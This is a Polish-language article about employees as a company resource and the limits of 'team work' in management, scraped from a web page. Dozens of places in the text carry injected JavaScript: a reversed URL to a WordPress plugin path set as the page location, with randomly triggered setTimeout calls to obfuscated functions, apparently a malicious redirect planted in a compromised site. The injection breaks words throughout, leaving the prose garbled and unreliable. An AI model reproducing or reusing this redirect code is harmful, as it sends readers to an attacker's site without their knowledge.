Pracownicy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to z punktu widzenia sprawozdań finansowych zasób firmy. Ale zasób bardzo is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}totny, gdyż aktywnie wpływa na pozostałe zasoby (inne też na siebie wpływają, ale raczej pasywnie). Tak czy inaczej jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zasób. I jak o każdy zasób, także i o ten firma powinna się troszczyć.
Typowe zasoby firmy. O wszystkie trzeba dbać, a ta troska ma swój wymiar organizacyjny i pieniężny.
O każdy zasób trzeba dbać
W szczególności o zasób tak ważny, jakim są pracownicy. Ale też tak kapryśny i niestały w uczuciach, co wymaga nie tylko opieki, ale i aktywnego zarządzania.
W jaki sposób należy dbać o różne zasoby? Różnie, w zależności od ich charakteru.
Uwaga. „dlaczego za zarządzanie pracownikiem płaci się więcej?” Więcej, niż za zarządzanie innymi zasobami firmy? Właśnie dlatego, że zapas czy środki trwałe nie „oddadzą”. Jeśli coś się z nimi zrobi, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tak już robią. I jeśli robią toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to źle, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zawsze jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wina zarządzającego. W przypadku pracowników jest z tym dużo trudniej.
Czy jednak zasoby się firmie rewanżują za jej troskę?
Tu właśnie jest różnie. Środki trwałe na ogół tak, gdyż nie mają własnego interesu. Jednak już z zasobami ludzkimi bywa różnie.
W trosce o ten zasób i zgodnie z najnowszymi trendami w zarządzaniu uku toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to termin (i sposób postępowania z tym zasobem). To team work, czyli działajmy „jak w rodzinie”. To jednak nie jest zbyt trafna analogia, gdyż interesy w rodzinie i w firmie są różne, co toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do swojej is toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toty i samych fundamentów.
Uwaga. „w rodzinie chodzi o geny, w firmie chodzi o pieniądze”. Albo o inne korzyści, ale zawsze bardzo osobiste i jak najbardziej podzielne. A toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to duża różnica. To jak z bratem i przyjacielem. Brata się ma, a przyjaciela się wybiera. W przypadku firmy zawsze się da oddzielić interes własny od firmowego, w przypadku genów są one na zawsze i trwale złączone (chodzi tak czy inaczej o toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, aby przetrwały).
Czy interes firmy i pracownika mogą się pokrywać? W jakimś s toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}topniu zawsze się pokrywają (wyjątki, gdzie interes firmy i pracownika są ewidentnie sprzeczne, się zdarzają, ale rzadko). Ale też prawie nigdy nie są całkowicie zgodne.
Zasada równoległoboku sił. Interes pracownika da się rozłożyć na dwie skłatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowe – zgodną z interesem firmy i skłatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dową obojętną dla tego interesu.
Czasem jednak może się pojawić skłatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowa przeciwna interesowi firmy. I toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nawet wtedy, gdy tak na pierwszy rzut oka nie widać tego zbyt wyraźnie.
A co ze skłatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dową obojętną? Czy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jest tak naprawdę rzeczywiście obojętne dla firmy? Niezupełnie. Nawet jeśli nie jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sprzeczne z interesem firmy, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to na pewno dzieje się w czasie przez nią opłaconym. Więc dzieje się za jej pieniądze.
Team work działa tylko w jedną stronę
O czym wiele firm już się boleśnie przekonało, a wiele jeszcze przekona w przyszłości. Czyli wszystko działa, kiedy chodzi o butoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowanie zespołu, tu jest wiele sposobów, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doradców i duża szansa na sukces. Jednak kiedy firma jest w kłopotach i chodzi o toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, aby zespół ją z niej wybawił, sytuacja się komplikuje. I decydującą rolę zaczynają odgrywać interesy osobiste, na pewno zaś będą ważniejsze od firmowych.
Uwaga. „uprzedzić, że szuka się pracy”. Wielu pracowników uważa, że zwalnianie bez ostrzeżenia toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to naruszenie zasad. Ale niewielu, jeśli sami zaczynają szukać pracy, uprzedza o tym firmę z dużym wyprzedzeniem. Wtedy raczej pracownicy czekają toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do ostatniej chwili, aż podpiszą umowę w nowym miejscu pracy. Dlaczego więc toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domagają się odmiennego trak toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towania, jeśli sytuacja jest odwrotna?
Decyduje też wpływ
A ten większość pracowników ma minimalny. Chodzi tu o wpływ na firmową rzeczywis toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tość. Większość stanowisk toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tylko wykonywanie powierzonych i z góry zaplanowanych zadań. Innowacyjny i twórczy (poparty władzą) wpływ w tysiąc osobowej firmie wywiera kilka, może kilkanaście osób.
Team work jest dla przyjemności
Przede wszystkim pracowników. Trochę też dla wygody menedżerów. Takim zintegrowanym zespołem łatwiej zarządzać, choć oczywiście pozostaje wtedy pytanie, czy toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nadal jest naprawdę zarządzanie czy działanie przez głosowanie. Ale w praktyce team work rzadko służy interesowi firmy. Gdyż na ogół działa tylko w jedną stronę. Gdy (w) firmie jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrze (ma na toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to środki i czas) przychodzi kolej na team work. Ale gdy zaczynają się trudne czasy, team work rzadko pomaga. Wtedy każdy troszczy się raczej o siebie. Choć są oczywiście chlubne wyjątki.
Uwaga. „firma handlowa toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to organizacja zbliżona toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do militarnej”. A przynajmniej w swojej strukturze, z zasady hierarchicznej. Gdzie jest wyraźny lider, jasno sprecyzowane i proste cele, czytelny łańcuch toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowodzenia. Próba zastąpienia tego demokracją nie pomoże skuteczności. Np. i słowa „wysłuchać” (zawsze wskazanego) nie należy zastępować pojęciem „słuchać”.
Czy team work może być elementem zarządzania pracownikami? Może, ale najczęściej jest sposobem na zarządzanie firmą przez pracowników.
Uwaga. „zwolnienia”. Jak działa team work, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dobrze widać na przykładzie zwolnień. Zwykle pracownicy oczekują, że firma będzie ich informować z wyprzedzeniem, że zamierza ich zwolnić. A wcześniej da czas na poprawę. Jednak takich pracowników, którzy z dużym wyprzedzeniem informują pracodawcę, że zamierzają szukać pracy jest naprawdę niewielu. Jeszcze mniej daje firmie (światoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}domie) czas na poprawę.
Jak toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jest w Internecie?
Inaczej. Tu jest większa rola maszyny, a pracownika łatwiej zastąpić czy przeszkolić. Gdyż Internet dał firmom toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do ręki potężne narzędzie – centralne zarządzanie zachowaniami i wiedzą.
Z jednej strony toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to utrudnia sterowanie sprzedażą (zmniejsza możliwości zarządzania magiczną formułą sprzedaży), ale akurat z punktu widzenia uzależnienia firmy od pracownika daje toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to firmie silniejszą pozycję.
Podsumowanie
Pracownicy są dla firmy bardzo ważni. I toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dla każdej. Należy ich szkolić, dbać o nich i nimi właściwie zarządzać. Ale nie można mieć też złudzeń. W sytuacji krytycznej rzadko przeważy duch „team work” i pracownicy kosztem własnego interesu staną murem za firmą. Choć oczywiście i tak się zdarza. Tym samym wysiłek i koszt, jaki firma wkłada w team work rzadko przekłada się na
Ale i bez kryzysu team work rzadko pomaga. Poza rozbieżnością interesu firmy i pracownika, decyduje jeszcze wpływ. Większość pracownik wywiera na działanie firmy wpływ na tyle nieznaczny, że toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, czy są twórczy i innowacyjni, czy nie, nie ma tak naprawdę znaczenia. Wystarczy, że przestrzegają zasad i „pracują na średnią”.